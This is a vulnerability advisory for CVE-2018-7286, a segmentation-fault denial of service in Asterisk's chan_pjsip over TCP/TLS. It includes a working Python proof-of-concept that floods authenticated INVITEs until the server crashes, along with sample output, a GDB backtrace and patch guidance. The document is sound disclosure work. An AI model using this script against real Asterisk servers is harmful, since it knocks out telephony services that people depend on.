# Crash occurs when sending a repeated number of INVITE messages over TCP or TLS transport

- Authors:
    - Alfred Farrugia <alfred@enablesecurity.com>
    - Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` installed with `--with-pjproject-bundled`
- References: AST-2018-005, CVE-2018-7286
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-04-asterisk-pjsip-tcp-segfault>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-005.html>
- Tested vulnerable versions: 15.2.0, 15.1.0, 15.0.0, 13.19.0, 13.11.2, 14.7.5
- Timeline:
    - Issue reported to vendor: 2018-01-24
    - Vendor patch made available to us: 2018-02-05
    - Vendor advisory published: 2018-02-21
    - Enable Security advisory: 2018-02-22

## Description

A crash occurs when a number of INVITE messages are sent over TCP or TLS and
then the connection is suddenly closed. This issue leads to a segmentation fault. 

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.

## How to reproduce the issue

The following script was used to reproduce the issue on a TLS connection:

```python
import md5
import re
import socket
import ssl
import uuid
from time import sleep

SERVER_IP = "127.0.0.1"
SERVER_PORT = 5061
USERNAME = "3000"
PASSWORD = "3000"
INVITE_USERNAME = "3000"

errno = 0
lasterrno = 0
while True:
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock = ssl.wrap_socket(sock,
                               ssl_version=ssl.PROTOCOL_TLSv1,
                               )

        sock.connect((SERVER_IP, SERVER_PORT))
        sock.settimeout(0.5)
        errno = 0
        callid = str(uuid.uuid4())
        for ix in range(10):
            sdpbody = ""

            msg = "INVITE sip:%s@%s:%i SIP/2.0\r\n" \
                "To: <sip:%s@%s:%i>\r\n" \
                "From: Test <sip:%s@%s:%s>\r\n" \
                "Call-ID: %s\r\n" \
                "CSeq: 2 INVITE\r\n" \
                "Via: SIP/2.0/TLS 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
                "Contact: <sip:%s@172.17.0.1>\r\n" \
                "Content-Type: application/sdp\r\n" \
                "{{AUTH}}" \
                "Content-Length: %i\r\n" \
                "\r\n" % (
                    INVITE_USERNAME, SERVER_IP, SERVER_PORT,
                    INVITE_USERNAME, SERVER_IP, SERVER_PORT,
                    USERNAME, SERVER_IP, SERVER_PORT,
                    callid, callid,
                    USERNAME, len(sdpbody)
                ) + \
                sdpbody

            sock.sendall(msg.replace("{{AUTH}}", ""))

            data = sock.recv(10240)
            # print(data)
            if data.startswith("SIP/2.0 401"):
                for line in data.split('\r\n'):
                    if line.startswith("WWW-Authenticate"):
                        content = line.split(':', 2)[1].strip()
                        realm = re.search(
                            "realm=\"([a-z]+)\"", content).group(1)
                        nonce = re.search(
                            "nonce=\"([a-z0-9\/]+)\"", content).group(1)
                        ha1 = md5.new(USERNAME + ":" + realm +
                                      ":" + PASSWORD).hexdigest()
                        uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
                        ha2 = md5.new("INVITE:" + uri).hexdigest()
                        r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

                        auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                            "realm=\"%s\"," % (realm) + \
                            "nonce=\"%s\"," % (nonce) + \
                            "uri=\"%s\"," % (uri) + \
                            "response=\"%s\"," % (r) + \
                            "algorithm=md5\r\n"
                        print(auth)

            sock.sendall(msg.replace("{{AUTH}}", auth))
            errno = 0
    except (socket.error, ssl.SSLEOFError), err:
        print(err)
        print("getting close!")
        sleep(2)
        errno += 1
    if errno >= 10:
        print("confirmed dead")
        break
    elif errno > lasterrno:
        lasterrno = errno
        continue
```

The output from the tool should show the following:

```
> python test.py
Authorization: Digest username="3000",realm="asterisk",nonce="1516728889/07e2e34fbd45ed7f6b1bca0d2bde50ae",uri="sip:127.0.0.1:5061",response="a2b7e2bfa722730b64787664db474f2a",algorithm=md5

EOF occurred in violation of protocol (_ssl.c:590)
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
confirmed dead
```

Notes:

- authentication may be required
- the destination SIP address should match a valid extension in the dialplan
- similar code to the above can be used to reproduce the issue on TCP transport


### GDB backtrace result

```
gdb --args /opt/asterisk/sbin/asterisk -fcvvv

Thread 25 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff030a700 (LWP 133)]
ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956
3956            if (!tdata->dest_info.addr.count || (tdata->dest_info.cur_addr == tdata->dest_info.addr.count - 1)) {
(gdb) bt
#0  ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956
#1  0x00007ffff1a8dbb1 in check_request_status (inv=inv@entry=0x7fff9910bac8, e=0x7ffff0308ae0) at res_pjsip_session.c:3371
#2  0x00007ffff1a8dc83 in session_inv_on_state_changed (inv=0x7fff9910bac8, e=0x7ffff0308ae0) at res_pjsip_session.c:3455
#3  0x00007ffff7848217 in inv_set_state (state=PJSIP_INV_STATE_DISCONNECTED, e=0x7ffff0308ae0, inv=0x7fff9910bac8) at ../src/pjsip-ua/sip_inv.c:317
#4  inv_on_state_null (inv=0x7fff9910bac8, e=0x7ffff0308ae0) at ../src/pjsip-ua/sip_inv.c:3890
#5  0x00007ffff7841a77 in mod_inv_on_tsx_state (tsx=0x7fff99116408, e=0x7ffff0308ae0) at ../src/pjsip-ua/sip_inv.c:717
#6  0x00007ffff788299d in pjsip_dlg_on_tsx_state (dlg=0x7fff990eccc8, tsx=0x7fff99116408, e=0x7ffff0308ae0) at ../src/pjsip/sip_dialog.c:2066
#7  0x00007ffff787b513 in tsx_set_state (tsx=0x7fff99116408, state=PJSIP_TSX_STATE_TERMINATED, event_src_type=PJSIP_EVENT_TRANSPORT_ERROR, event_src=0x7fff9910fda8, flag=0)
    at ../src/pjsip/sip_transaction.c:1267
#8  0x00007ffff787cfec in send_msg_callback (send_state=0x7fff9918d2f0, sent=-171064, cont=0x7ffff0308c04) at ../src/pjsip/sip_transaction.c:1970
#9  0x00007ffff78661ae in send_response_resolver_cb (status=<optimized out>, token=0x7fff9918d2f0, addr=0x7ffff0308c60) at ../src/pjsip/sip_util.c:1721
#10 0x00007ffff184df8c in sip_resolve (resolver=<optimized out>, pool=<optimized out>, target=0x7fff99116530, token=0x7fff9918d2f0, cb=0x7ffff78660f0 <send_response_resolver_cb>)
    at res_pjsip/pjsip_resolver.c:527
#11 0x00007ffff7869adb in pjsip_resolve (resolver=0x1b64d40, pool=<optimized out>, target=target@entry=0x7fff99116530, token=token@entry=0x7fff9918d2f0,
    cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_resolve.c:209
#12 0x00007ffff78652b9 in pjsip_endpt_resolve (endpt=endpt@entry=0x1638d28, pool=<optimized out>, target=target@entry=0x7fff99116530, token=token@entry=0x7fff9918d2f0,
    cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_endpoint.c:1164
#13 0x00007ffff7867fe1 in pjsip_endpt_send_response (endpt=0x1638d28, res_addr=res_addr@entry=0x7fff99116508, tdata=tdata@entry=0x7fff9910fda8, token=token@entry=0x7fff99116408,
    cb=cb@entry=0x7ffff787cd80 <send_msg_callback>) at ../src/pjsip/sip_util.c:1796
#14 0x00007ffff787bdac in tsx_send_msg (tsx=0x7fff99116408, tdata=0x7fff9910fda8) at ../src/pjsip/sip_transaction.c:2237
#15 0x00007ffff787dc67 in tsx_on_state_proceeding_uas (event=0x7ffff0309b30, tsx=0x7fff99116408) at ../src/pjsip/sip_transaction.c:2704
#16 tsx_on_state_trying (tsx=0x7fff99116408, event=0x7ffff0309b30) at ../src/pjsip/sip_transaction.c:2634
#17 0x00007ffff787fba7 in pjsip_tsx_send_msg (tsx=tsx@entry=0x7fff99116408, tdata=tdata@entry=0x7fff9910fda8) at ../src/pjsip/sip_transaction.c:1789
#18 0x00007ffff78822a3 in pjsip_dlg_send_response (dlg=0x7fff990eccc8, tsx=0x7fff99116408, tdata=tdata@entry=0x7fff9910fda8) at ../src/pjsip/sip_dialog.c:1531
#19 0x00007ffff784519a in pjsip_inv_send_msg (inv=0x7fff9910bac8, tdata=0x7fff9910fda8) at ../src/pjsip-ua/sip_inv.c:3231
#20 0x00007ffff1a8c043 in ast_sip_session_send_response (session=session@entry=0x7fff9910e208, tdata=<optimized out>) at res_pjsip_session.c:1712
#21 0x00007ffff1a8ec09 in new_invite (invite=<synthetic pointer>) at res_pjsip_session.c:2963
#22 handle_new_invite_request (rdata=0x7fff9524ce58) at res_pjsip_session.c:3062
#23 session_on_rx_request (rdata=0x7fff9524ce58) at res_pjsip_session.c:3126
#24 0x00007ffff7864e97 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=rdata@entry=0x7fff9524ce58, p=p@entry=0x7ffff1a7ed00 <param>,
    p_handled=p_handled@entry=0x7ffff0309d44) at ../src/pjsip/sip_endpoint.c:893
#25 0x00007ffff185427f in distribute (data=0x7fff9524ce58) at res_pjsip/pjsip_distributor.c:903
#26 0x00000000005fc6fe in ast_taskprocessor_execute (tps=tps@entry=0x1cf2b08) at taskprocessor.c:963
#27 0x0000000000603960 in execute_tasks (data=0x1cf2b08) at threadpool.c:1322
#28 0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x16343d8) at taskprocessor.c:963
#29 0x0000000000603e40 in threadpool_execute (pool=0x1637b78) at threadpool.c:351
#30 worker_active (worker=0x7fffa0000948) at threadpool.c:1105
#31 worker_start (arg=arg@entry=0x7fffa0000948) at threadpool.c:1024
#32 0x000000000060eddd in dummy_start (data=<optimized out>) at utils.c:1257
#33 0x00007ffff5e366ba in start_thread (arg=0x7ffff030a700) at pthread_create.c:333
#34 0x00007ffff541f3dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)
```

## Solutions and recommendations

Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.

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## Disclaimer

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